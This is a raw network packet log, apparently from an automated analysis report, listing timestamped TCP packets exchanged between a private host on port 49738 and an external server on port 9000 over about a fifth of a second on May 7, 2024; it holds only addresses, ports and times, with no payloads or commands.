May 7, 2024 05:29:01.880500078 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.880520105 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.883511066 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.883544922 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.883558035 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.883579016 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.886563063 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.886576891 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.886612892 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.886630058 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.889430046 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.889442921 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.889477968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.892321110 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.892333984 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.892364025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.895308018 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.895322084 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.895366907 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.898139000 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.898153067 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.898190975 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.900937080 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.900971889 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.900995970 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.901019096 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.903685093 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.903697014 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.903738976 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.906486988 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.906500101 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.906552076 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.909236908 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.909249067 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.909286976 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.911855936 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.911869049 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.911915064 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.914791107 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.914803982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.914839029 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.917180061 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.917191982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.917231083 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.919899940 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.919913054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.919955969 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.922586918 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.922632933 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.923357010 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.923401117 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.925060034 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.925072908 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.925106049 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.927627087 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.927639961 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.927683115 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.930202007 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.930213928 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.930253029 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.932816982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.932830095 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.932882071 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.935190916 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.935215950 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.935245991 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.935271025 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.937675953 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.937689066 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.937726021 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.940113068 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.940124035 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.940161943 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.942646027 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.942687035 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.942703962 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.942729950 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.944991112 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.945004940 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.945043087 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.947310925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.947350025 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.947355986 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.947397947 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.949696064 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.949708939 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.949748039 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.952002048 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.952040911 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.952052116 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.952080011 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.954344988 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.954358101 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.954394102 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.956619024 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.956664085 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.956670046 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.956717014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.958913088 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.958926916 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.958965063 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.961194992 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.961208105 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.961244106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.963455915 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.963469982 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.963515043 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.963541031 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.965704918 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.965739965 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.965766907 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.965779066 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.967915058 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.967928886 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.967967033 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.970161915 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.970181942 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.970216990 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.972282887 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.972300053 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.972337961 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.974558115 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.974585056 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.974610090 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.974627972 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.976685047 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.976720095 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.976742983 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.976752996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.978739977 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.978754997 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.978801012 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.980844021 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.980858088 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.980909109 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.982969999 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.982983112 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.983031034 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.985064030 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.985078096 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.985111952 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.985121965 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.987155914 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.987168074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.987215996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.989284992 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.989298105 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.989348888 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.991239071 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.991250992 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.991295099 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.993287086 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.993299961 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.993339062 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.995326996 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.995358944 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.995400906 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.995412111 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.997324944 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.997359991 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.997407913 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:01.999351978 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.999367952 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:01.999411106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.001313925 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.001329899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.001372099 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.003283978 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.003298998 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.003345966 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.005258083 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.005274057 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.005327940 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.007190943 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.007205963 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.007247925 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.009391069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.009403944 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.009449959 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.011060953 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.011102915 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.011116028 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.011152983 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.013041019 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.013055086 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.013099909 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.014894962 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.014909983 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.014945984 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.016752005 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.016786098 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.016797066 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.016827106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.018625021 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.018639088 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.018675089 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.020519018 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.020531893 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.020566940 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.022358894 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.022372007 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.022418976 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.024287939 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.024305105 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.024353027 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.026151896 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.026182890 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.026217937 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.026233912 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.027872086 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.027909040 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.027926922 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.027950048 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.029675007 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.029689074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.029727936 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.031445026 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.031457901 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.031495094 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.031524897 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.033446074 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.033458948 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.033502102 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.035041094 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.035054922 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.035106897 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.035118103 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.036780119 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.036793947 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.036834955 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.036847115 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.038537979 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.038594007 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.038697004 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.040241957 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.040255070 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.040297031 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.042000055 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.042015076 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.042052031 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.042074919 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.043700933 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.043736935 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.043746948 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.043777943 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.045510054 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.045553923 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.045559883 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.045594931 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.047126055 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.047138929 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.047174931 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.048824072 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.048841000 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.048868895 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.048887014 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.050561905 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.050575018 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.050611019 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.052139997 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.052153111 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.052206039 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.053854942 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.053904057 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.053924084 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.053968906 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.055516005 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.055532932 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.055561066 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.055574894 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.057615995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.057666063 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.057667971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.057706118 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.058825970 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.058839083 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.058880091 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.060404062 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.060417891 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.060453892 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.062021971 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.062052965 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.062083006 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.063658953 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.063690901 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.063704967 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.063730955 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.065212011 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.065226078 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.065259933 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.066869020 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.066884041 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.066920996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.068428993 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.068447113 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.068480968 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.070039034 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.070084095 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.070103884 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.070147991 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.071666002 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.071680069 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.071727991 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.073203087 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.073215961 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.073256969 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.074842930 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.074858904 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.074894905 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.076235056 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.076251984 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.076281071 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.076303959 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.077831030 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.077845097 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.077883959 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.079319000 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.079332113 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.079366922 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.080802917 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.080816031 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.080852985 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.082305908 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.082334995 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.082353115 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.082370996 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.083765984 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.083808899 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.083811045 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.083856106 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.085279942 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.085319996 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.085325956 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.085367918 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.086802959 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.086844921 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.086848021 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.086884975 CEST	49738	9000	192.168.2.4	65.108.152.56
May 7, 2024 05:29:02.088268042 CEST	9000	49738	65.108.152.56	192.168.2.4
May 7, 2024 05:29:02.088282108 CEST	9000	49738	65.108.152.56	192.168.2.4
